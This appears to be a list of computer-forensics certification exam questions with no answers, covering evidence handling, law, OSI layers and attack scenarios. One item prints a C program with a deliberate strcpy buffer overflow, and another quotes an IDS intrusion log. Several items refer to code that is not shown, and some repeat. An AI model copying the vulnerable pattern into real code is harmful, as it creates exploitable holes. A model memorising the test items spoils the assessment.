Question191: You are the security analyst working for a private company out of France. Your current assignment is to obtain credit card information from a Swiss bank owned by that company. After initial reconnaissance, you discover that the bank security defenses are very strong and would take too long to penetrate. You decide to get the information by monitoring the traffic between the bank and one of its subsidiaries in London.
After monitoring some of the traffic, you see a lot of FTP packets traveling back and forth. You want to sniff the traffic and extract usernames and passwords. What tool could you use to get this information?
Question192: Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops contained sensitive corporate information regarding patents and company strategies. A month after the laptops were stolen, a competing company was found to have just developed products that almost exactly duplicated products that Meyer produces. What could have prevented this information from being stolen from the laptops?
Question193: In General, __________________ Involves the investigation of data that can be retrieved from the hard disk or other disks of a computer by applying scientific methods to retrieve the data.
Question194: Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the compromised system. Melanie did a DOS copy of all the files on the system. What would be the primary reason for you to recommend a disk imaging tool?
Question195: Paraben Lockdown device uses which operating system to write hard drive data?
Question196: To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software. What group is actively providing tools and creating procedures for testing and validating computer forensics software?
Question197: What hashing method is used to password protect Blackberry devices?
Question198: Which response organization tracks hoaxes as well as viruses?
Question199: Sniffers that place NICs in promiscuous mode work at what layer of the OSI model?
Question200: What is the name of the Standard Linux Command that is also available as windows application that can be used to create bit-stream images?
Question201: The newer Macintosh Operating System is based on:
Question202: What will the following command accomplish in Linux?
fdisk /dev/hda
Question203: If a suspect computer is located in an area that may have toxic chemicals, you must:
Question204: You are using DriveSpy, a forensic tool and want to copy 150 sectors where the starting sector is 1709 on the primary hard drive. Which of the following formats correctly specifies these sectors?
Question205: What stage of the incident handling process involves reporting events?
Question206: Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any. What do you think would be the next sequence of events?
Question207: Jacob is a computer forensics investigator with over 10 years experience in investigations and has written over 50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term used for Jacob testimony in this case?
Question208: Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject. Julie would like to focus the subject of the essay on the most common type of crime found in corporate America. What crime should Julie focus on?
Question209: At what layer of the OSI model do routers function on?
Question210: When investigating a wireless attack, what information can be obtained from the DHCP logs?
Question211: Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test.
The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable. What kind of results did Jim receive from his vulnerability analysis?
Question212: You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved. What should you examine next in this case?
Question213: When examining a file with a Hex Editor, what space does the file header occupy?
Question214: Kyle is performing the final testing of an application he developed for the accounting department.
His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command. What is he testing at this point?
#include #include int main(int argc, char
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }
Question215: What happens when a file is deleted by a Microsoft operating system using the FAT file system?
Question216: You are assisting a Department of Defense contract company to become compliant with the stringent security policies set by the DoD. One such strict rule is that firewalls must only allow incoming connections that were first initiated by internal computers. What type of firewall must you implement to abide by this policy?
Question217: While working for a prosecutor, what do you think you should do if the evidence you found appears to be exculpatory and is not being released to the defense?
Question218: An Expert witness give an opinion if:
Question219: If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?
Question220: Software firewalls work at which layer of the OSI model?
Question221: What technique is used by JPEGs for compression?
Question222: Lance wants to place a honeypot on his network. Which of the following would be your recommendations?
Question223: Where does Encase search to recover NTFS files and folders?
Question224: You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab. What can you do to prove that the evidence is the same as it was when it first entered the lab?
Question225: What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired?
Question226: What feature of Windows is the following command trying to utilize?
Question227: During the course of a corporate investigation, you find that an Employee is committing a crime.
Can the Employer file a criminal complaint with Police?
Question228: How many characters long is the fixed-length MD5 algorithm checksum of a critical system file?
Question229: It takes _____________ mismanaged case/s to ruin your professional reputation as a computer forensics examiner?
Question230: The efforts to obtain information before a trail by demanding documents, depositions, questioned and answers written under oath, written requests for admissions of fact and examination of the scene is a description of what legal term?
Question231: In the following directory listing,
Which file should be used to restore archived email messages for someone using Microsoft Outlook?
Question232: What encryption technology is used on Blackberry devices Password Keeper?
Question233: In the context of file deletion process, which of the following statement holds true?
Question234: What should you do when approached by a reporter about a case that you are working on or have worked on?
Question235: What feature of Decryption Collection allows an investigator to crack a password as quickly as possible?
Question236: If you discover a criminal act while investigating a corporate policy abuse, it becomes a publicsector investigation and should be referred to law enforcement?
Question237: Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime?
Question238: When obtaining a warrant, it is important to:
Question239: When examining the log files from a Windows IIS Web Server, how often is a new log file created?
Question240: In a FAT32 system, a 123 KB file will use how many sectors?
Question241: Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server. Why will Jonathan not succeed?
Question242: When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk?
Question243: How many characters long is the fixed-length MD5 algorithm checksum of a critical system file?
Question244: When reviewing web logs, you see an entry for resource not found in the HTTP status code field.
What is the actual error code that you would see in the log for resource not found?
Question245: What is the first step taken in an investigation for laboratory forensic staff members?
Question246: Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer. Where should Harold navigate on the computer to find the file?
Question247: You are carrying out the last round of testing for your new website before it goes live. The website has many dynamic pages and connects to a SQL backend that accesses your product inventory in a database.
You come across a web security site that recommends inputting the following code into a search field on web pages to check for vulnerabilities: When you type this and click on search, you receive a pop-up window that says: "This is a test."
What is the result of this test?
Question248: What layer of the OSI model do TCP and UDP utilize?
Question249: You are running known exploits against your network to test for possible vulnerabilities. To test the strength of your virus software, you load a test network to mimic your production network. Your software successfully blocks some simple macro and encrypted viruses. You decide to really test the software by using virus code where the code rewrites itself entirely and the signatures change from child to child, but the functionality stays the same. What type of virus is this that you are testing?
Question250: You are working as an independent computer forensics investigator and receive a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer lab.
When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a simple backup copy of the hard drive in the PC and put it on this drive and requests that you examine that drive for evidence of the suspected images. You inform him that a simple backup copy will not provide deleted files or recover file fragments.
What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceedings?
Question251: What does the acronym POST mean as it relates to a PC?
Question252: Printing under a Windows Computer normally requires which one of the following files types to be created?
Question253: When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers?
Question254: A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.
Question255: What is one method of bypassing a system BIOS password?
Question256: Why should you never power on a computer that you need to acquire digital evidence from?
Question257: In Linux, what is the smallest possible shellcode?
Question258: Before performing a logical or physical search of a drive in Encase, what must be added to the program?
Question259: You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?
Question260: Area density refers to:
Question261: What type of attack sends spoofed UDP packets (instead of ping packets) with a fake source address to the IP broadcast address of a large network?
Question262: Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former company's network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr commands using DIG. What is Simon trying to accomplish here?
Question263: A law enforcement officer may only search for and seize criminal evidence with
_______________________, which are facts or circumstances that would lead a reasonable person to believe a crime has been committed or is about to be committed, evidence of the specific crime exists and the evidence of the specific crime exists at the place to be searched.
Question264: This is original file structure database that Microsoft originally designed for floppy disks. It is written to the outermost track of a disk and contains information about each file stored on the drive.
Question265: You are working for a large clothing manufacturer as a computer forensics investigator and are called in to investigate an unusual case of an employee possibly stealing clothing designs from the company and selling them under a different brand name for a different company. What you discover during the course of the investigation is that the clothing designs are actually original products of the employee and the company has no policy against an employee selling his own designs on his own time. The only thing that you can find that the employee is doing wrong is that his clothing design incorporates the same graphic symbol as that of the company with only the wording in the graphic being different. What area of the law is the employee violating?
Question266: Office Documents (Word, Excel and PowerPoint) contain a code that allows tracking the MAC or unique identifier of the machine that created the document. What is that code called?
Question267: Which of the following should a computer forensics lab used for investigations have?
Question268: What are the security risks of running a "repair" installation for Windows XP?
Question269: What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 sever the course of its lifetime?
Question270: When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time?
Question271: If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?
Question272: You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange
2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed What is this information posted on the job website considered?
Question273: You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects house was searched by the police after a warrant was obtained and they located a floppy disk in the suspects bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you can use to obtain the password?
Question274: The MD5 program is used to:
Question275: Item 2If you come across a sheepdip machine at your client site, what would you infer?
Question276: You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the _________________________ in order to track the emails back to the suspect.
Question277: You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router?
Question278: A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size. What type of removable media could the investigator use?
Question279: George is a senior security analyst working for a state agency in Florida. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time-based induction machine" be used.
What IDS feature must George implement to meet this requirement?
Question280: Diskcopy is:
Question281: A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be recommended?
Question282: You have used a newly released forensic investigation tool, which doesn't meet the Daubert Test, during a case. The case has ended-up in court. What argument could the defense make to weaken your case?
Question283: John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk. Why is that?
Question284: When operating systems mark a cluster as used but not allocated, the cluster is considered as _________
Question285: George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a scanner like Nessus is not recommended in this situation?
Question286: Why would a company issue a dongle with the software they sell?
Question287: In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case?
Question288: Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florid a. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good. Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for. What principal of social engineering did Julia use?
Question289: Davidson Trucking is a small transportation company that has three local offices in Detroit Michigan. Ten female employees that work for the company have gone to an attorney reporting that male employees repeatedly harassed them and that management did nothing to stop the problem. Davidson has employee policies that outline all company guidelines, including awareness on harassment and how it will not be tolerated. When the case is brought to court, whom should the prosecuting attorney call upon for not upholding company policy?
Question290: When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?
Question291: Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies? What type of Penetration Testing is Larry planning to carry out?
Question292: John is working on his company policies and guidelines. The section he is currently working on covers company documents; how they should be handled, stored, and eventually destroyed. John is concerned about the process whereby outdated documents are destroyed. What type of shredder should John write in the guidelines to be used when destroying documents?
Question293: Study the log given below and answer the following question:
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, which among the following would be appropriate?